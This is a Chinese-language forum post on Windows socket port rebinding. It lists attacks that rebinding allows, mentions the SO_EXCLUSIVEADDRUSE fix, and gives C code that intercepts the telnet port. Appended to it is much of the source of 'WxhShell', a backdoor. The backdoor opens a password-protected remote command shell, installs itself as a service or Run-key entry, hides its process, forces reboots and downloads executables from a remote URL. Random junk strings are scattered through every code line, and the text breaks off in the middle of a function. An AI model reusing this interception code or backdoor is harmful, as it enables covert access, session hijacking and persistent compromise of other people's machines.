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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Rab#7Q16Q8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /I`3dWL  
1t+%Gv^sK  
  saddr.sin_family = AF_INET; tJ"az=?  
XdpF&B&K7Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uJgI<l'|e3  
LZ{YmD&6]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N/K=Ygv.  
zLP],wB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z | We9%  
!Cw!+fZ\l  
  这意味着什么?意味着可以进行如下的攻击: *vYn_wE  
MSl&?}Bj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `\!X}xiWd  
[OzzL\)3l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9qpU@V!  
!#?8BwnaZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 AM'gnP>  
Rp0|zP,5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q/$ GE,"  
vv &BhIf3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r@iASITX  
u)v$JpNE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &pM'$}T*  
P*YK9Hl<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \m f*ge\  
"A;s56}'&  
  #include 2JVxzj<~`  
  #include :j@8L.<U  
  #include (3VGaUlx  
  #include    ),=@q+{E{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V5AW&kfd  
  int main() \^&   
  { ;UrK {>B  
  WORD wVersionRequested; ;|<(9u`  
  DWORD ret; ~Q?!W0ZBE  
  WSADATA wsaData; CZY7S*fL  
  BOOL val; [![ G7H%f  
  SOCKADDR_IN saddr; aVwH  
  SOCKADDR_IN scaddr; )Vg2Jix,]  
  int err; gz;&u)  
  SOCKET s; MLV:U  
  SOCKET sc; kh3<V'k]  
  int caddsize; zI^Da!r.  
  HANDLE mt; L]I3P|y_  
  DWORD tid;   cD2+hp|9  
  wVersionRequested = MAKEWORD( 2, 2 ); &Yf",KcL*I  
  err = WSAStartup( wVersionRequested, &wsaData ); n_P3\Y|  
  if ( err != 0 ) { qaG#;  
  printf("error!WSAStartup failed!\n"); %H& ].47  
  return -1; V@%  
  } !,Nwts>m  
  saddr.sin_family = AF_INET; h0Ee?=  
   ^,TTwLy- t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R-  
=1Z;Ma<;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WhFS2Jl0  
  saddr.sin_port = htons(23); rA1q SG~c  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *P!s{i  
  { _y vLu j  
  printf("error!socket failed!\n"); OR4!YVVQ  
  return -1; j)by}}  
  } J R$r!hX  
  val = TRUE; %ucjMa>t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M4KWN'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pZk6 w1d!  
  { rC BfD  
  printf("error!setsockopt failed!\n"); ,PECYwegkt  
  return -1; lZW K2  
  } ]Bnwk o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,a0pAj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;Lo&}U3F,!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HI`q1m.  
dlDki.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ufrqsv]=  
  { Bu3T/m  
  ret=GetLastError(); KKEN'-3  
  printf("error!bind failed!\n"); >o~Z>lr  
  return -1; =P`~t<ajB  
  } [h&BAR/ 2  
  listen(s,2); c*;7yh&%  
  while(1) %}&(h/= e  
  { S&(^<gwl  
  caddsize = sizeof(scaddr);  ^$-Ye]<  
  //接受连接请求 r?A|d.Tl  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G[h(xp?,l  
  if(sc!=INVALID_SOCKET) :!Ig- +W  
  { l-Nly>~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i ev>9j  
  if(mt==NULL) Bs8[+Ft5  
  { g%a|q~)  
  printf("Thread Creat Failed!\n"); |0.Xl+7  
  break; 2(M6(xH>  
  } A}5fCx.{  
  } "e6|"w@8  
  CloseHandle(mt); iiG f'@/  
  } 8K{[2O7i)  
  closesocket(s); 1A<,TFg  
  WSACleanup(); q; ji w#_  
  return 0; ~n?>[88"  
  }   z0bJ?~w,  
  DWORD WINAPI ClientThread(LPVOID lpParam) @;:>GA  
  { gSt`%  
  SOCKET ss = (SOCKET)lpParam; uD9|.P}  
  SOCKET sc; F$MX,,4U  
  unsigned char buf[4096]; F|+W.9  
  SOCKADDR_IN saddr; xW_yLbE  
  long num; "D][e'  
  DWORD val; 6!q#x[A  
  DWORD ret; ^qvZ XS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -$2kO`|p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Hkd^-=]]no  
  saddr.sin_family = AF_INET; ymN!-x8q>'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }uY!(4Rw  
  saddr.sin_port = htons(23); O+~ 7l?o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'ZP)cI:+X  
  { YB,t0%vTJw  
  printf("error!socket failed!\n"); v [njdP  
  return -1; xV\5<7qk5g  
  } # 1.YKo  
  val = 100; )G1P^WV4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n_u1&a'  
  { 6oD\-H  
  ret = GetLastError(); k`{7}zxS  
  return -1; +q<B.XxkA  
  } 58V[mlW)O0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nBItO~l  
  { ;GGK`V  
  ret = GetLastError(); 'gso'&Uaj  
  return -1; uz3 0_aH  
  } sEc;!L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %~xGkk"I  
  { kAA>FI6  
  printf("error!socket connect failed!\n"); H%F>@(U  
  closesocket(sc); :G5uocVk  
  closesocket(ss); \e3`/D  
  return -1; +}xaQc:0|  
  } h"+ `13  
  while(1) MV>$BW  
  { ]3iH[,KU3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Jc6R{C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?.=}pAub  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &>g'$a<[  
  num = recv(ss,buf,4096,0); PU<PhuMd  
  if(num>0) M~Ttb29{  
  send(sc,buf,num,0); Cq)IayD@  
  else if(num==0) Ro(Zmk\t  
  break; (la[KqqCO  
  num = recv(sc,buf,4096,0); p[AO' xx  
  if(num>0) rQ`i8GF  
  send(ss,buf,num,0); l^MzN  
  else if(num==0) . Dg*\ h  
  break; kzn[ =P  
  } N_pUv   
  closesocket(ss); Q Fm|-j  
  closesocket(sc); b</9Ai=  
  return 0 ; NB_ )ZEmF  
  } vmTs9"ujF,  
PQN@JaD  
+HT1ct+dI  
========================================================== -_ C#wtC  
G q<X4C#|  
下边附上一个代码,,WXhSHELL D]G)j  
ao_4mSB  
========================================================== jnB~sbyA  
EZ;"'4;W  
#include "stdafx.h" X1{[}!  
B~ S6R  
#include <stdio.h> %V9ZyQg%*  
#include <string.h> <_Z:'~Zp  
#include <windows.h> 7Z ;?b0W  
#include <winsock2.h> ) rW&c- '  
#include <winsvc.h> :r#)z4d5  
#include <urlmon.h> 7{@l%jx][  
($w@Z/;  
#pragma comment (lib, "Ws2_32.lib") ~Nf})U  
#pragma comment (lib, "urlmon.lib") 66x?A0P  
v3d&*I  
#define MAX_USER   100 // 最大客户端连接数 ".^VI2T  
#define BUF_SOCK   200 // sock buffer _A13[Mt3  
#define KEY_BUFF   255 // 输入 buffer xL|;VyD  
S"Lx%  
#define REBOOT     0   // 重启 j>uj=B@  
#define SHUTDOWN   1   // 关机 ;V^pL((5J  
@fv}G>t  
#define DEF_PORT   5000 // 监听端口 L(T12s  
<JMcIV837  
#define REG_LEN     16   // 注册表键长度 bV8g|l-4(  
#define SVC_LEN     80   // NT服务名长度 40E#JF#  
k>x&Ip8p  
// 从dll定义API ;Gx)Noo/>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O$/o'"@ /  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r(d':LV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5DOBs f8Jo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i%e7LJ@5AW  
n Ox4<Wk&  
// wxhshell配置信息 nJ4pTOc  
struct WSCFG { 7dsefNPb  
  int ws_port;         // 监听端口 Lip4)Y [  
  char ws_passstr[REG_LEN]; // 口令 ,p(<+6QZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no 76hOB@  
  char ws_regname[REG_LEN]; // 注册表键名 3 rLTF\  
  char ws_svcname[REG_LEN]; // 服务名 `w I/0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !Z VU,b>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )i+2X5B`S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ljl^ GFo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `.s({/|[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z'T) =ycT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zo1,1O  
,h"-  
}; "&Po,AWa  
2'=T[<nNB  
// default Wxhshell configuration s3 7'&K  
struct WSCFG wscfg={DEF_PORT, uqz]J$  
    "xuhuanlingzhe", }D+}DPL{^  
    1, @(r /dZc  
    "Wxhshell", 6aM*:>C"  
    "Wxhshell", rZ8`sIWQt  
            "WxhShell Service", *m?/O} R  
    "Wrsky Windows CmdShell Service", bfo["  
    "Please Input Your Password: ", lHgs;>U$  
  1, Xpzfm7CB/  
  "http://www.wrsky.com/wxhshell.exe", cGjPxG;  
  "Wxhshell.exe" q, O$ %-70  
    }; g}@OUG"D  
YPHS 1E?  
// 消息定义模块 %|s+jeUDn|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tcxcup%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >EY3/Go>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; boDt`2=  
char *msg_ws_ext="\n\rExit."; %^RN#_ro(3  
char *msg_ws_end="\n\rQuit."; ]_N|L|]M  
char *msg_ws_boot="\n\rReboot..."; ER,1(1]N  
char *msg_ws_poff="\n\rShutdown..."; )"Ztlhs`#  
char *msg_ws_down="\n\rSave to "; d!eYqM7-G  
x.S3Zi}=  
char *msg_ws_err="\n\rErr!"; M4as  
char *msg_ws_ok="\n\rOK!"; N-lkYL-%\j  
sr8cYLm5R  
char ExeFile[MAX_PATH]; '7O3/GDK  
int nUser = 0; lg^Z*&(  
HANDLE handles[MAX_USER]; "AE5 V'  
int OsIsNt; Omd .9  
]+X@ 7  
SERVICE_STATUS       serviceStatus; t.mVO]dsj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -GxaV #{  
m*JaXa  
// 函数声明 UFMA:o,  
int Install(void); AK@9?_D  
int Uninstall(void); c/sC&i;%O  
int DownloadFile(char *sURL, SOCKET wsh); dAuJXGo  
int Boot(int flag); 82l~G;.n3  
void HideProc(void); &jmRA';sK  
int GetOsVer(void); HTG%t/S  
int Wxhshell(SOCKET wsl); ~3<> 3p  
void TalkWithClient(void *cs); wmTb97o  
int CmdShell(SOCKET sock); d3xmtG {i  
int StartFromService(void); #ep`nf0x  
int StartWxhshell(LPSTR lpCmdLine); 'inFKy'H  
zCk^B/j sM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EN/,5<S<,[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M3.do^ss  
{.XEL  
// 数据结构和表定义 YPxM<Gfa8  
SERVICE_TABLE_ENTRY DispatchTable[] = .SWlp2!M5  
{ _*f`iu:`  
{wscfg.ws_svcname, NTServiceMain}, 7 qS""f7  
{NULL, NULL} _bNzXF  
}; hIT+gnhh  
>7 ="8  
// 自我安装 Rb'|EiNPw  
int Install(void) @{2 5xTt  
{ 0)gdB'9V_  
  char svExeFile[MAX_PATH]; \kZ?  
  HKEY key; RCpR3iC2  
  strcpy(svExeFile,ExeFile); ff^=Ruf$  
W)bLSL]`E  
// 如果是win9x系统,修改注册表设为自启动 ueUuJxq)  
if(!OsIsNt) { 7<*yS310  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s%W C/ZK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,y#Kv|R  
  RegCloseKey(key); ;=MU';o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K|epPGRr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {z{bY\  
  RegCloseKey(key); yK=cZw%D  
  return 0; .6Pw|xu`Pw  
    } 5?x>9C a  
  } wfH^<jY)E  
} I`!<9OTBj  
else { 6^`1\ #f  
F'21jy&  
// 如果是NT以上系统,安装为系统服务 BI%$c~wS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <J`0  
if (schSCManager!=0) .:F%_dS D  
{ 8]9%*2"!  
  SC_HANDLE schService = CreateService ;>Ib^ov  
  ( @J/K-.r  
  schSCManager, koug[5T5  
  wscfg.ws_svcname, ) AvN\sC  
  wscfg.ws_svcdisp, glDu2a,Q  
  SERVICE_ALL_ACCESS, 3ca (i/c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {ttysQ-  
  SERVICE_AUTO_START, [D I+~F  
  SERVICE_ERROR_NORMAL, =c\>(2D  
  svExeFile, ``hf=`We  
  NULL, ) b (B  
  NULL, asppRL||  
  NULL,  "y}--  
  NULL, W:pIPDx1=!  
  NULL NXrJfp  
  ); cQ R]le %(  
  if (schService!=0) N2;B-UF 7  
  { H&-zZc4\  
  CloseServiceHandle(schService); Po^?QVJ7  
  CloseServiceHandle(schSCManager); zBzZxK>$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q' {M L4  
  strcat(svExeFile,wscfg.ws_svcname); wfLaRP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I&x=;   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9y"@(  
  RegCloseKey(key); -lY6|79bF  
  return 0; 8;JWK3Gv  
    } qm/22:&v5  
  } I;wp':  
  CloseServiceHandle(schSCManager); t.i 8 2Q  
} -cAo@}v  
} _@ qjV~%Sy  
286jI7T  
return 1; ,l\- xSM  
} L>Fa^jq5  
86=}ZGWd  
// 自我卸载 _-K2/6zy  
int Uninstall(void) #lL^?|M  
{ , /Z%@-rF  
  HKEY key; ;n*.W|Uph  
Yi%;|]  
if(!OsIsNt) { ymhtX6]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qN9(S:_Px  
  RegDeleteValue(key,wscfg.ws_regname); Kqb#_hm  
  RegCloseKey(key); f<d`B]$(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { / *#r`A  
  RegDeleteValue(key,wscfg.ws_regname); - M4J JV(  
  RegCloseKey(key); dO! kk"qn  
  return 0; ^BikV  
  } *av<E  
} E Nh l&J  
} Q{>+ft U  
else { -b9\=U[  
@=}0`bE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SJn;{X>)q  
if (schSCManager!=0) [}E='m}u9+  
{  M^=zt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); On9A U:\  
  if (schService!=0) 6*78cg Io  
  { Rq'S>#e  
  if(DeleteService(schService)!=0) { PR#exm&  
  CloseServiceHandle(schService); =(j1rW!  
  CloseServiceHandle(schSCManager); |6sp/38#p  
  return 0; _)3|f<E_t)  
  } :^6y7&o[  
  CloseServiceHandle(schService); *K8$eDNZ  
  } U)] oO  
  CloseServiceHandle(schSCManager); /K@XzwM  
} ;PF<y9M  
} &R'c.  
aFX=C >M  
return 1; !C ':  
} uP)'FI  
_^Ubs>d=*  
// 从指定url下载文件 /L g)i\R;  
int DownloadFile(char *sURL, SOCKET wsh) g[' ^L +hd  
{ WUn]F~Lt  
  HRESULT hr; vxBgGl  
char seps[]= "/"; e:DCej^z  
char *token; oM>l#><nq  
char *file; ~ D j8 z+^  
char myURL[MAX_PATH]; 'urafE4M  
char myFILE[MAX_PATH]; l`lk-nb  
4 #MtF'J  
strcpy(myURL,sURL); )0]'QLH  
  token=strtok(myURL,seps); MS~(D.@ZS  
  while(token!=NULL) i &nSh ]KK  
  { ,aZ[R27rpL  
    file=token; 1hY{k{+o  
  token=strtok(NULL,seps); %v M-mbX  
  } C2kPMB=Xo  
#jvtUS\  
GetCurrentDirectory(MAX_PATH,myFILE);  ,f%S'(>w  
strcat(myFILE, "\\"); PJ|P1O36a  
strcat(myFILE, file); AlaW=leTe  
  send(wsh,myFILE,strlen(myFILE),0); Cv.C;H  
send(wsh,"...",3,0); N)X3XTY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sUO`uqZV  
  if(hr==S_OK) `r6,+&  
return 0; W aRw05r  
else 6xx ?A>:  
return 1; L ca}J&x]^  
q"lSZ; 'E  
} >y7?-*0  
b4 6~?*  
// 系统电源模块 `Y$4 H,8L  
int Boot(int flag) l_d5oAh   
{ eF$x1|  
  HANDLE hToken; & '`g#N  
  TOKEN_PRIVILEGES tkp; F v2-(  
"%w u2%i  
  if(OsIsNt) { +{.WQA}z\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P/eeC"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }j)e6>K])  
    tkp.PrivilegeCount = 1; 97*p+T<yp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &DX! f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~TD0z AA&  
if(flag==REBOOT) { <)H9V-5aZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ""G'rN_=Bi  
  return 0; 'n3uu1C  
} %J?xRv!  
else { $qnZl'O>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QA`sx  
  return 0; `*R:gE=  
} Ee! 4xg  
  } M5X&}cN6  
  else { %ntRG !  
if(flag==REBOOT) { Xc-'Y"}|`t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T.BW H2gRP  
  return 0; A?P_DA  
} r),kDia  
else { IOmfF[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .t!x<B  
  return 0; +I|vzz`ZVr  
} KkbDW3-  
} 7Ovi{xd@  
hL{KRRf>  
return 1; \r+ a GB  
} [RhO$c$[\  
ea 'D td  
// win9x进程隐藏模块 ^}o2  
void HideProc(void) f.$af4 u  
{ .M%}X7  
qo bc<-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *.t 7G  
  if ( hKernel != NULL ) .W!i7  
  { (hbyEQhF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fIU#M]Xx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }S-O& Z  
    FreeLibrary(hKernel); _]H&,</  
  } c-5)QF) z  
JK5gQ3C[  
return; nDxz~8  
} !_)[/q"  
VpDbHAg  
// 获取操作系统版本 BW4J>{  
int GetOsVer(void) iqWQ!r^  
{ ggR.4&<  
  OSVERSIONINFO winfo; gjDHo$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HIZe0%WPw  
  GetVersionEx(&winfo); 2^ nxoye  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !Wnb|=j  
  return 1; ](8[}CeL  
  else '5$b-x6F  
  return 0; >|UOz&  
} j A%u 5V  
/*mI<[xb  
// 客户端句柄模块 ^<2p~h0 \  
int Wxhshell(SOCKET wsl) x7[BK_SY  
{ N`e[:[  
  SOCKET wsh; XXa|BZ1RX  
  struct sockaddr_in client; cVF "!.  
  DWORD myID; ?6WY:Zec@  
1=V-V<  
  while(nUser<MAX_USER) h2d(?vOT  
{ xwo<' xT  
  int nSize=sizeof(client); MQ8J<A Pf-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $ddCTS^  
  if(wsh==INVALID_SOCKET) return 1; $xN|5;+  
fNFY$:4X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }pkzH'$HJ  
if(handles[nUser]==0) C~/a-  
  closesocket(wsh);  f.)O2=  
else .?$gpM?i  
  nUser++; $=4QO  
  } 0L52#;?Si"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]c'A%:f<  
T6=u P)!K  
  return 0; a&? :P1$  
} .$vK&k  
7qS)c}Q\  
// 关闭 socket Y}wyw8g/  
void CloseIt(SOCKET wsh) G4"F+%.  
{ 5r ^(P  
closesocket(wsh); Cw&KVw*  
nUser--; H qx-;F~0  
ExitThread(0); xJ.M;SF4  
} nBYZ}L q  
=T7.~W  
// 客户端请求句柄 Y.p;1"  
void TalkWithClient(void *cs) nqUV  
{ PCtzl )  
sFRQe]zCcP  
  SOCKET wsh=(SOCKET)cs; 7@W>E;go  
  char pwd[SVC_LEN]; H<+TR6k<  
  char cmd[KEY_BUFF]; Xsa].  
char chr[1]; cw <l{A  
int i,j; 3=oDQ&UFt  
dSHDWu&  
  while (nUser < MAX_USER) { G18b$z  
TB31- ()  
if(wscfg.ws_passstr) { La[V$+Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3ckclO\|>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `Urhy#LC  
  //ZeroMemory(pwd,KEY_BUFF); FGzwhgy  
      i=0; ;!Fn1|)  
  while(i<SVC_LEN) { q!@4~plz  
pd$[8Rmj_  
  // 设置超时 a d\ot#V  
  fd_set FdRead; 4_ML],.  
  struct timeval TimeOut; 6_B]MN!(  
  FD_ZERO(&FdRead); } ^\oCR@  
  FD_SET(wsh,&FdRead); ~a2}(]  
  TimeOut.tv_sec=8; 5[0?g@aO  
  TimeOut.tv_usec=0; f _:A0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j1<Yg,_.p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /PKNLK  
#KvlYZ+1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CWKm(@"5  
  pwd=chr[0]; (/$^uWj  
  if(chr[0]==0xd || chr[0]==0xa) { {P-):  
  pwd=0; E"IZ6)Q  
  break; Dw"\/p:-3  
  } ;n;p@Uu[ b  
  i++; Q/Rqa5LI:  
    } h{qgEIk&  
8eRLy/`gd  
  // 如果是非法用户,关闭 socket #<xm.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6aj!Q*(WT  
} \{NO?%s0p  
VIbq:U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N2o7%gJw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /gas2k==^  
\Oo Wo  
while(1) { %a7$QF]  
izR"+v  
  ZeroMemory(cmd,KEY_BUFF); ~}Pfu  
P$,Ke<  
      // 自动支持客户端 telnet标准   [#iz/q~}  
  j=0; NHE18_v5  
  while(j<KEY_BUFF) { !VzC&>'v^9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  ~$J2g  
  cmd[j]=chr[0]; ~.|_RdN  
  if(chr[0]==0xa || chr[0]==0xd) { h2QmQ>y"  
  cmd[j]=0; ?q [T  
  break; : rVnc =k  
  } 8 FhdN  
  j++; 19] E 5'AI  
    } (;,sc$H]  
.RL=xb|[  
  // 下载文件 hqdDm  
  if(strstr(cmd,"http://")) { D6Wa.,r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +cRn%ioVi  
  if(DownloadFile(cmd,wsh)) HbIF^LeY|R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vt ohL+  
  else 1 TXioDs=_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X wtqi@zlE  
  } ajpX L  
  else { ,fRq5"?  
5-A\9UC*@  
    switch(cmd[0]) { yDh6KUK  
  `0R./|bv\I  
  // 帮助 e:W{OIz:  
  case '?': { 6w77YTJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TsZ@  
    break; DaVa}  
  } {xB3S_,8  
  // 安装 #A.@i+Zv  
  case 'i': { fc@A0Hf  
    if(Install()) 4GM6)"#d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #LCb  
    else wyG;8I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,+ ~W4<f  
    break; 2T`!v  
    } nj4/#W  
  // 卸载 +/\6=).\  
  case 'r': { w*Ihk)  
    if(Uninstall()) |cY`x(?yP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xezcAwW  
    else et+0FF ,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?%kV?eu'  
    break; QCJM&  
    } mBC+6(5V  
  // 显示 wxhshell 所在路径 ~{gqsuCCL  
  case 'p': { /7LR;>Bj  
    char svExeFile[MAX_PATH]; 'ig'cRD6N  
    strcpy(svExeFile,"\n\r"); |&jXp%4T  
      strcat(svExeFile,ExeFile); {:W$LWET  
        send(wsh,svExeFile,strlen(svExeFile),0); ]R? 4{t4  
    break; CH/rp4NeSy  
    } zn(PI3+]!  
  // 重启 )CyS#j#=  
  case 'b': { GJUL$9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZG@q`<:j  
    if(Boot(REBOOT)) iR0y"Cii  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (9h`3#  
    else { cGD(.=  
    closesocket(wsh); |D.ND%K&  
    ExitThread(0); -%dCw6aX+  
    } #D|p2L$  
    break; a}u Sm/S  
    } $mB;K]m  
  // 关机 ]:\dPw`A  
  case 'd': { [1KuzCcK}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E~:x(5'%d  
